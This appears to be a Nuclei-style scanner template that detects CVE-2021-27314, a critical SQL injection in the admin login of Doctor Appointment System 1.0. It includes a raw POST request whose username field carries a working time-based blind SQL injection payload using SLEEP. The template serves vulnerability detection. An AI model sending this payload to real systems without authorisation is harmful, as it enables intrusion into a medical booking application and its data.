id: CVE-2021-27314

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    SQL injection in admin.php in doctor appointment system 1.0 allows an unauthenticated attacker to insert malicious SQL queries via username parameter at login page.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27314
    cwe-id: CWE-89
    epss-score: 0.43636
    epss-percentile: 0.96937
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: cve,cve2021,sqli,doctor-appointment-system,packetstorm

http:
  - raw:
      - |
        @timeout: 10s
        POST /admin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Doctor Appoinment System")'
        condition: and